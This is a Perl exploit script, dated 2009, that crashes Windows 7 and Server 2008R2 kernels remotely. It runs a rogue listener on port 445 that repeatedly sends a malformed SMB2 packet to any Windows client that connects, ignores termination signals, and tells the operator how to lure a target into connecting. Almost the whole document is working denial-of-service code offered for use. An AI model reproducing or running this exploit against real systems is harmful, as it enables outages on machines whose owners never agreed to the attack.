ÿþ#!/usr/bin/perl # # Windows 7 * , Server 2008R2 Remote Kernel Crash # # Trigger a remote kernel crash on Win7 and Server 2008R2 (infinite loop). # Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by # an infinite loop. # # NO BSOD, YOU GOTTA PULL THE PLUG. # # To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash. # # Bug foun by Laurent Gaffié. # # Coded by Oscar Marques aka F-117. # www.dunkelheit.com.br # 05/12/09. my $VERSAO = '0.1'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; $evil_packet = ("\x00\x00\x00\x9a". # ---> length should be 9e not 9a.. "\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41". "\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00". "\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01". "\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20". "\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e". "\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"); use Socket; my $port = shift || 445; my $protocol = getprotobyname('tcp'); socket(SERVER, PF_INET, SOCK_STREAM, $protocol) or die "[x] Error: socket: $!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "[x] Error: setsock: $!"; my $paddr = sockaddr_in($port, INADDR_ANY); bind(SERVER, $paddr) or die "[x] Error: bind: $!"; listen(SERVER, SOMAXCONN) or die "[x] Error: listen: $!"; my $client_addr; while ($client_addr = accept(CLIENT, SERVER)) { while (1) { print CLIENT $evil_packet; } close CLIENT; }